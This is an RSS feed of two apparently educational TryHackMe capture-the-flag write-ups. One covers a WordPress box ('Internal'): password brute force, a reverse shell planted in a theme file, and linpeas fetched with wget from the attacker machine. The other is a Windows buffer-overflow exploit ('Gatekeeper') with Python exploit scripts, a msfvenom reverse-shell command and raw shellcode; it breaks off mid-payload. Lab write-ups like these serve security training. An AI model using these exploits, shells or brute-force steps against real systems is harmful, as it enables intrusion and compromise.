<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akbar Khan on Medium]]></title>
        <description><![CDATA[Stories by Akbar Khan on Medium]]></description>
        <link>https://medium.com/@akbar47873?source=rss-5d294ef2521------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zpShKghBRGwmdI_ffyo_6w.jpeg</url>
            <title>Stories by Akbar Khan on Medium</title>
            <link>https://medium.com/@akbar47873?source=rss-5d294ef2521------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:31:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akbar47873/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tryhackme:Internal]]></title>
            <link>https://medium.com/@akbar47873/tryhackme-internal-335e8cd03b0a?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/335e8cd03b0a</guid>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Wed, 26 Jun 2024 15:30:48 GMT</pubDate>
            <atom:updated>2024-06-26T15:30:48.243Z</atom:updated>
            <content:encoded><![CDATA[<p>Lenghty but Handy.</p><p>Pre Engagement Briefing.</p><p>You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.</p><p><strong>Scope of Work</strong></p><p>The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:</p><ul><li>User.txt</li><li>Root.txt</li></ul><p>Additionally, the client has provided the following scope allowances:</p><ul><li>Ensure that you modify your hosts file to reflect internal.thm</li><li>Any tools or techniques are permitted in this engagement</li><li>Locate and note all vulnerabilities found</li><li>Submit the flags discovered to the dashboard</li><li>Only the IP address assigned to your machine is in scope</li></ul><p>(Roleplay off)</p><p>I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, <strong>as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.</strong></p><p><strong>#TASK 1 — Recon</strong></p><p>┌──(root㉿kali)-[~/Desktop/tryhackme]</p><p>└─# <strong>nmap -sV -A 10.10.34.60 -v</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*goMOtMlYN7YpXNHV8SLO2w.png" /></figure><p>Found port 22 and 80 as open , lets visit port 80 to see whats running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*9dUdr12XP8zk0M5nd2yfPg.png" /></figure><p>But during our pre-engagement briefing it was asked to add the IP for this machine in /etc/hosts file as internal.thm, lets do that and verify .</p><p>I have used gedit you can use nano/vim etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*ETni0n26mr-Z0iRl2ywo4g.png" /></figure><p>I got the same page so navigated to robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*apiXyRaisjZtLcuhkALnwg.png" /></figure><p>I found a server version disclosure lets find whether this version is vulnerable, simultaneously we will continue our content discovery using tools (dirb/dirsearch/gobuster etc)</p><p>A bit of google dorking searching an exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*JBChXzIiyflevYt7zJQqRw.png" /></figure><p>But during our content discovery phase i found a login page and blog page as show below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*qcdvDmpQNnxMXUGlOIOP7g.png" /></figure><p>On blog page i found something taunting me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*PPk0XWwmHQAezl-RWoqATg.png" /></figure><p>Let read this</p><p>While reading we got a hint that this is post by a usename admin not let find a login page and check this user exists or not.</p><p>You need to have a malicious eye sight while enumerating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*tWHqCI__PyvmaKEoRDnDtw.png" /></figure><p>On a same page i found a login page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*CKuVMkbN9jIlF3qXXUgxvw.png" /></figure><p>Identify the error for random user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*OAmE0o3zErTCCVrADmmIlQ.png" /></figure><p>Now lets check for the user we found on the blog page which is admin.</p><p>Tip:This requires an evil eye to identify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*MdUULcjYxjKcWbMBozfYwA.png" /></figure><p><strong>Task 2 #Exploitation.</strong></p><p>As the website is word press based we will use a good tool wpscan.</p><p>WPScan is a free, for non-commercial use, black box WordPress security scanner written for security professionals and blog maintainers to test the security of their WordPress websites.</p><p><strong>wpscan — url </strong><a href="http://internal.thm/blog/"><strong>http://internal.thm/blog/</strong></a><strong> -e u</strong></p><p>Using above command we are going to scan the blog for security vulnerabilities as well as username enumeration (-e u).</p><p>After the result we are interested in two things one is outdated theme which is being used and username. This outdated theme might come in handy as we go along.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*ZyuqaXr-T3aIxvmkft23yA.png" /></figure><p>Now in WPSCAN we can brute force for username and passwords.</p><p><strong>wpscan — url </strong><a href="http://internal.thm/blog/"><strong>http://internal.thm/blog/</strong></a><strong> — usernames admin — passwords /usr/share/wordlists/rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*UbURZyy6IzN5YwrLNOTQAw.png" /></figure><p>And here we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*8GEfxb2I6Te2-7DUChgN4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*qbf8xFwB5nSkBm97Xonr-w.png" /></figure><p>Successfully login using that credentials.</p><p>Navigate to theme editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*DJS7QnaV93dzj8DVaYzo8Q.png" /></figure><p>Edit this 404 template and upload a malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*S1xCfP0u4MU1exb0CHj3zw.png" /></figure><p>Search for malicious code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*BX4eQjrRYOiMlJUJ2Idm_Q.png" /></figure><p><strong>Editing the code and upload.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*zvuz3b1pDNcHi3e0cA1P0Q.png" /></figure><p>Before uploading make sure the listener is in place from the given IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*ZVzGiHZwNi5k8KdTzqBq0Q.png" /></figure><p>Now upload the shell code and update the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*m-l8jkqjaszstgYcGTlRtg.png" /></figure><p>Let’s visit the 404.php from url using hxxp://internal.thm/blog/wp-content/themes/twentyseventeen/404.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*B7LZEIZaLDYrVrVxpm614w.png" /></figure><p>BOOOMMMMM!!!!!!!!!!!!!! Initial Access low level user found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*a--AajRY7Ggfl8yAtKhNmQ.png" /></figure><p><strong>TASK 3 #Privilege Escalation — Local user</strong></p><p>First lets make this normal shell to interactive shell.</p><p><strong>python -c ‘import pty; pty.spawn(“/bin/bash”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*OUDoeujeuVgE16woYrNSpg.png" /></figure><p>We will upload linpeas on this server and will investigate privilege escalation.</p><p>On Kali machine</p><p><strong>python -m http.server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Vwf0spiZtYqKuZ4lfhMKWQ.png" /></figure><p>On victim</p><p><strong>wget </strong><a href="http://10.11.48.237:1111/linpeas.sh"><strong>http://10.11.48.237:1111/linpeas.sh</strong></a><strong> -O /tmp/linpeas.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*l5xV3TZV8REArXEtuOJaYQ.png" /></figure><p>Give the execute permission to linpeas.sh to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*LhA8d0W4bGGubvs3ELwszA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*grIXjLaFOeW0fScjS_18zw.png" /></figure><p>Found something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*RGb_6WP0qHLkVFsA3oQW0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*CyY-UfeZn43uYD1ovy_lkA.png" /></figure><p>We were able to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*2a-MG8Vf-y94guILjFLlJg.png" /></figure><p>This gave us the db access but still we need to capture the 2 flags</p><p>User.txt and root.txt</p><p>Lets use locate command to check where they resides.</p><p>Found nothing useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*VKZsCt-kA57Esi4zUHjaJw.png" /></figure><p>The locate hint comes in picture as we are solving a room where we need to capture the flags. And the flag format is in .txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*Cj5ykVuwp04X1d42Rth6uA.png" /></figure><p><strong>We found a credentials here for user Aubreanna.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*m9Ls5hzID08cBhmrkBK0Bw.png" /></figure><p>The format looks these are ssh credentials lets try it out.</p><p><strong>ssh aubreanna@10.10.34.60</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*nu3KaEbkjzVnSQTJUd2mZg.png" /></figure><p>With this user you will found your flag user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*6RXs7C54JWQWS62aKZOd8w.png" /></figure><p><strong>TASK 4 #Privilege Escalation — Root</strong></p><p>We already got user.txt flag, now we move to retrieve root.txt by escalating current user privileges to root. At this stage we can again try the same “LinPeas” script to find some vulnerability to escalate, but it’s a dead end. However, in “aubreanna” home folder there’s a Jenkins.txt file.</p><p>Lets check what’s there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*HOj2q6eJW4LgS5X1kkJOCg.png" /></figure><p>As you can see, there’s a docker running on target machine with 172 series IP address, so Jenkins is inside docker running on port 8080.</p><p>Even if we try to access that docker IP and Port using our browser it’s not reachable. So, to access it we are going to use SSH tunneling technique to forward Jenkins ip:port to our attacker machine’s ip:port.</p><p>We have exit all the logins and reverseshell. From attackers (kali linux) terminal execute below command and type the password which we retrieved from wp-save.txt file.</p><p><strong>ssh -L 6767:172.17.0.2:8080 aubreanna@internal.thm</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*L7IQXWP0FCg73nccX_S80w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=335e8cd03b0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme:Gatekeeper]]></title>
            <link>https://medium.com/@akbar47873/tryhackme-gatekeeper-980e072152d4?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/980e072152d4</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[gatekeepers]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Thu, 07 Sep 2023 14:10:08 GMT</pubDate>
            <atom:updated>2023-09-07T14:10:08.122Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab URL — <a href="https://tryhackme.com/room/gatekeeper">https://tryhackme.com/room/gatekeeper</a></p><p>Lab hint — Defeat the Gatekeeper to break the chains. But beware, fire awaits on the other side.</p><p>Lab Description — This lab will expect you to exploit the Gatekeeper.exe via Buffer Overflow get the user flag and then get a root shell via privilege escalation to get the root flag.</p><p><strong>#Task1 — Recon</strong></p><blockquote><strong>nmap -sV -A 10.10.251.224 -v</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*3GeSU_QQItufYzoLRBiWEQ.png" /></figure><p>We list SMB shares on the target box as follows and we get some results.</p><blockquote><strong>smbclient -L 10.10.251.224</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*BzSZZfjY3m-MS9lg77IRQA.png" /></figure><p>We find a share name Users lets try to connect this</p><blockquote>smbclient \\\\10.10.251.224\\Users</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*58Lt8HJW2B5PG_F45MGHbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*s1dgzM08B8s4lnxF0H_yzA.png" /></figure><p>We are able to connect to the server without credentials. Now, we will enumerate this Disk to see we have something useful.</p><p>Before moving further i found port 31337 is open it caught my attention and tried to connect the port by nc (netcat) by this command.</p><blockquote><strong>nc 10.10.251.224 1 31337</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*369sP6OSBTr2Ckubq5xWtQ.png" /></figure><p>I wrote my name and this greeted with hello.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*XYizZamTLHODggrXqBPJ4Q.png" /></figure><p>i tried enter big number and i see what the program will do, this logic of entering big number comes from Buffer Overflow labs.</p><p>I used python to get this big numbers and try entering in the same fashion.</p><p>What was identified is the application got crashed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEJHAsOKsPgkiOUIJ5snbQ.png" /></figure><p>So here the idea of switching from SMB to 31337 Was if you check the above screen shot we found a gatekeeper.exe in Share folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*s1dgzM08B8s4lnxF0H_yzA.png" /></figure><p>This means the program gatekeeper.exe is running on 31337.</p><p>Lets download that gatekeeper.exe</p><blockquote><strong>mget gatekeeper.exe</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Hrn0YZW_Hy93Lpn8UDDUzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*EkeWxwsH4KViwq-VVAIDZw.png" /></figure><p>Now we have created a Windows 10 machine with immunity debugger installed we will run this gatekeeper in that environment.</p><p>IP details.</p><p><strong>Windows 10–192.168.1.108</strong></p><p><strong>Kali Machine = 192.168.1.110</strong></p><p>Lets run the gatekeeper.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*Ox1U4LgbPIAwLbGwF6isCA.png" /></figure><p>Lets try to connect this .</p><p>And yes we are able to connect this on our local environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*Lpgu5MXRsy5YZEBY6ww-Sw.png" /></figure><p>What’s happening at application end.</p><p>Its receiving the bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*kqD20ItbUqZniMkDQbyuHA.png" /></figure><p>So we understand our attack vector.</p><p>Its BUFFER OVERFLOW.</p><p><strong>#BOF TASK1</strong></p><p>We will fuzz the application and see whether it is crashing in our local machine as well.</p><p>And yes its crashing locally as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*Dxf3m9oqWbWvlqzMlDWEPw.png" /></figure><p>It cannot handle the request hence crashed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*69oak_O0PZ3kQzh3AfDJAw.png" /></figure><p>We still don’t know at which point the application is crashing this is what we are talking about controlling the EIP.</p><p>Run the program in Immunity debugger and open the gatekeeper.exe.</p><p>Now we will crash the application again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ia9fvSiEBKf_AcD5-vHMlg.png" /></figure><p>You can check the EIP 41414141 is the hexadecimal conversion of AAAAAA.</p><p>Still we cant find the actual EIP value where it is crashing.</p><p><strong>#TASK FINDING THE ACTUAL EIP</strong></p><p>We need to find the exact index of offset of this EIP so that we can take a complete control to this.</p><p>But our problem is we sended 200 times AAAA’s so there is no way to figure out at what point the EIP is starting</p><p>whether it is 150/160/170 or any inbetween value we cant assume it.</p><p>Hence we are using cyclic pattern to find this out.</p><blockquote><strong>msf-pattern_create -l 200</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcmyRu9_IGmWm6F6Pl7lYg.png" /></figure><p>Paste this in the NC command and check the EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*zCXM0bFPcGmObBiSGVqKJQ.png" /></figure><p>We have found Value where EIP is getting overwritten.</p><blockquote><strong>EIP 39654138</strong></blockquote><blockquote><strong>msf-pattern_offset -l 200 -q 39654138</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*oZjflTJrd6mfqB-0YYTvGg.png" /></figure><p>So we have found the <em>offset 146</em></p><p>Now lets write a script to overwritten this.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>buffer = b”A” * 146 + b”B” * 4</blockquote><blockquote>try:</blockquote><blockquote>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</blockquote><blockquote>s.connect((“192.168.1.108” ,31337))</blockquote><blockquote>s.send((buffer + b”\r\n”))</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMZN8AmaohRP4dIJfeDjIQ.png" /></figure><p>Now to execute our payload we need to remove bad characters.</p><p><strong>#TASK REMOVE BAD CHARACTERS</strong></p><p>Modify the script and update it with bad chars.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote><strong>badchars = (</strong></blockquote><blockquote><strong>b”\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10&quot;</strong></blockquote><blockquote><strong>b”\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;</strong></blockquote><blockquote><strong>b”\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;</strong></blockquote><blockquote><strong>b”\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;</strong></blockquote><blockquote><strong>b”\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;</strong></blockquote><blockquote><strong>b”\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;</strong></blockquote><blockquote><strong>b”\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;</strong></blockquote><blockquote><strong>b”\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;</strong></blockquote><blockquote><strong>b”\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;</strong></blockquote><blockquote><strong>b”\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;</strong></blockquote><blockquote><strong>b”\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;</strong></blockquote><blockquote><strong>b”\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;</strong></blockquote><blockquote><strong>b”\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;</strong></blockquote><blockquote><strong>b”\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;</strong></blockquote><blockquote><strong>b”\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;</strong></blockquote><blockquote><strong>b”\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”</strong></blockquote><blockquote><strong>)</strong></blockquote><blockquote>buffer = b”A” * 146 + b”B” * 4</blockquote><blockquote>try:</blockquote><blockquote>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</blockquote><blockquote>s.connect((“192.168.1.108” ,31337))</blockquote><blockquote>s.send((buffer +<strong> badchars</strong> + b”\r\n”))</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>Run the script it will crash the application, now the point we need to concentrate is ESP , right click and flow in dump to find bad characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*RkNXMITLIFu1yX0Yv9JHfw.png" /></figure><p>Now At this point you carefully need to identify the bad chars in HEXA Dump column.</p><p>Below 414141 highlighted is our AAAAA and 424242 is our BBBB so our bad chars starts after that which is highlighted in green.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*zJqq4m-_eSzg12BL4suv-g.png" /></figure><p>From here we need to run the sequence and carefully identify he bad chars, \x00 is always a bad char</p><p>Bad characters found</p><blockquote><strong>“\x00\x0A”</strong></blockquote><p>we are going to use this jump command to jump from EIP to ESP.</p><blockquote><strong>!mona jmp -r esp</strong></blockquote><p>here your mona terminal will be invoked again type !mona to get back the status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXpIhVjeW9_JXCUHNDWIbQ.png" /></figure><p>0x080414c3 we are select this EIP to jump to ESP.</p><p>Now lets generate our payload.</p><blockquote><strong>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.110 LPORT=2306 -f py -b “\x00\x0A”</strong></blockquote><p><strong>#TASK EXPLOITING</strong></p><p><strong>Rediting the script for the final shoot.</strong></p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>buf = b””</blockquote><blockquote>buf += b”\xbf\xcc\x20\x62\x3d\xdd\xc7\xd9\x74\x24\xf4\x5d”</blockquote><blockquote>buf += b”\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x7d\x0e\x03\xb1&quot;</blockquote><blockquote>buf += b”\x2e\x80\xc8\xb5\xc7\xc6\x33\x45\x18\xa7\xba\xa0&quot;</blockquote><blockquote>buf += b”\x29\xe7\xd9\xa1\x1a\xd7\xaa\xe7\x96\x9c\xff\x13&quot;</blockquote><blockquote>buf += b”\x2c\xd0\xd7\x14\x85\x5f\x0e\x1b\x16\xf3\x72\x3a”</blockquote><blockquote>buf += b”\x94\x0e\xa7\x9c\xa5\xc0\xba\xdd\xe2\x3d\x36\x8f”</blockquote><blockquote>buf += b”\xbb\x4a\xe5\x3f\xcf\x07\x36\xb4\x83\x86\x3e\x29&quot;</blockquote><blockquote>buf += b”\x53\xa8\x6f\xfc\xef\xf3\xaf\xff\x3c\x88\xf9\xe7&quot;</blockquote><blockquote>buf += b”\x21\xb5\xb0\x9c\x92\x41\x43\x74\xeb\xaa\xe8\xb9&quot;</blockquote><blockquote>buf += b”\xc3\x58\xf0\xfe\xe4\x82\x87\xf6\x16\x3e\x90\xcd”</blockquote><blockquote>buf += b”\x65\xe4\x15\xd5\xce\x6f\x8d\x31\xee\xbc\x48\xb2&quot;</blockquote><blockquote>buf += b”\xfc\x09\x1e\x9c\xe0\x8c\xf3\x97\x1d\x04\xf2\x77&quot;</blockquote><blockquote>buf += b”\x94\x5e\xd1\x53\xfc\x05\x78\xc2\x58\xeb\x85\x14&quot;</blockquote><blockquote>buf += b”\x03\x54\x20\x5f\xae\x81\x59\x02\xa7\x66\x50\xbc”</blockquote><blockquote>buf += b”\x37\xe1\xe3\xcf\x05\xae\x5f\x47\x26\x27\x46\x90&quot;</blockquote><blockquote>buf += b”\x49\x12\x3e\x0e\xb4\x9d\x3f\x07\x73\xc9\x6f\x3f”</blockquote><blockquote>buf += b”\x52\x72\xe4\xbf\x5b\xa7\xab\xef\xf3\x18\x0c\x5f”</blockquote><blockquote>buf += b”\xb4\xc8\xe4\xb5\x3b\x36\x14\xb6\x91\x5f\xbf\x4d”</blockquote><blockquote>buf += b”\x72\xa0\xe8\x4c\xec\x48\xeb\x4e\xf9\x8a\x62\xa8&quot;</blockquote><blockquote>buf += b”\x93\x9a\x22\x63\x0c\x02\x6f\xff\xad\xcb\xa5\x7a”</blockquote><blockquote>buf += b”\xed\x40\x4a\x7b\xa0\xa0\x27\x6f\x55\x41\x72\xcd”</blockquote><blockquote>buf += b”\xf0\x5e\xa8\x79\x9e\xcd\x37\x79\xe9\xed\xef\x2e”</blockquote><blockquote>buf += b”\xbe\xc0\xf9\xba\x52\x7a\x50\xd8\xae\x1a\x9b\x58&quot;</blockquote><blockquote>buf += b”\x75\xdf\x22\x61\xf8\x5b\x01\x71\xc4\x64\x0d\x25&quot;</blockquote><blockquote>buf += b”\x98\x32\xdb\x93\x5e\xed\xad\x4d\x09\x42\x64\x19&quot;</blockquote><blockquote>buf += b”\xcc\xa8\xb7\x5f\xd1\xe4\x41\xbf\x60\x51\x14\xc0&quot;</blockquote><blockquote>buf += b”\x4d\x35\x90\xb9\xb3\xa5\x5f\x10\x70\xd5\x15\x38&quot;</blockquote><blockquote>buf += b”\xd1\x7e\xf0\xa9\x63\xe3\x03\x04\xa7\x1a\x80\xac”</blockquote><blockquote>buf += b”\x58\xd9\x98\xc5\x5d\xa5\x1e\x36\x2c\xb6\xca\x38&quot;</blockquote><blockquote>buf += b”\x83\xb7\xde”</blockquote><blockquote>#0x080414c3</blockquote><blockquote>buffer = b”A” * 146 + b<strong>”\xc3\x14\x04\x08&quot; + b”\x90&quot; * 32 + buf</strong></blockquote><blockquote>try:</blockquote><blockquote>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</blockquote><blockquote>s.connect((“192.168.1.108” ,31337))</blockquote><blockquote>s.send((buffer + b”\r\n”))</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>Hope immunity debugger is running and the gatekeeper.exe is executed.</p><blockquote>Nc -nvlp 2306</blockquote><p>Execute the script .</p><p>BOOOOMMMMMM!!!!!!!!!!!!! We got our shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNJesvUUeJHwqFA6-SMj1A.png" /></figure><p>Now this we have tested in our environment, used the vulnerable gatekeeper.exe and exploited it now lets make a quick ip changes and exploit the same to complete this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*uBwWVRNvZPZLCkKe0MMHkQ.png" /></figure><p>Redit the script.</p><p>Change the payload, L_HOST,L_PORT and target IP where we were desiring to connect.</p><blockquote><strong>msfvenom -p windows/shell_reverse_tcp LHOST=10.11.48.237 LPORT=2307 -f py -b “\x00\x0A”</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*QYzIJbOewogab_s8GUmjxQ.png" /></figure><p>Now copy the payload and make the changes in the script.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>buf = b””</blockquote><blockquote>buf += b”\xb8\xf9\xc5\xbe\x50\xdb\xcf\xd9\x74\x24\xf4\x5f”</blockquote><blockquote>buf += b”\x33\xc9\xb1\x52\x83\xc7\x04\x31\x47\x0e\x03\xbe”</blockquote><blockquote>buf += b”\xcb\x5c\xa5\xbc\x3c\x22\x46\x3c\xbd\x43\xce\xd9&quot;</blockquote><blockquote>buf += b”\x8c\x43\xb4\xaa\xbf\x73\xbe\xfe\x33\xff\x92\xea”</blockquote><blockquote>buf += b”\xc0\x8d\x3a\x1d\x60\x3b\x1d\x10\x71\x10\x5d\x33&quot;</blockquote><blockquote>buf += b”\xf1\x6b\xb2\x93\xc8\xa3\xc7\xd2\x0d\xd9\x2a\x86&quot;</blockquote><blockquote>buf += b”\xc6\x95\x99\x36\x62\xe3\x21\xbd\x38\xe5\x21\x22&quot;</blockquote><blockquote>buf += b”\x88\x04\x03\xf5\x82\x5e\x83\xf4\x47\xeb\x8a\xee”</blockquote><blockquote>buf += b”\x84\xd6\x45\x85\x7f\xac\x57\x4f\x4e\x4d\xfb\xae”</blockquote><blockquote>buf += b”\x7e\xbc\x05\xf7\xb9\x5f\x70\x01\xba\xe2\x83\xd6&quot;</blockquote><blockquote>buf += b”\xc0\x38\x01\xcc\x63\xca\xb1\x28\x95\x1f\x27\xbb”</blockquote><blockquote>buf += b”\x99\xd4\x23\xe3\xbd\xeb\xe0\x98\xba\x60\x07\x4e”</blockquote><blockquote>buf += b”\x4b\x32\x2c\x4a\x17\xe0\x4d\xcb\xfd\x47\x71\x0b”</blockquote><blockquote>buf += b”\x5e\x37\xd7\x40\x73\x2c\x6a\x0b\x1c\x81\x47\xb3&quot;</blockquote><blockquote>buf += 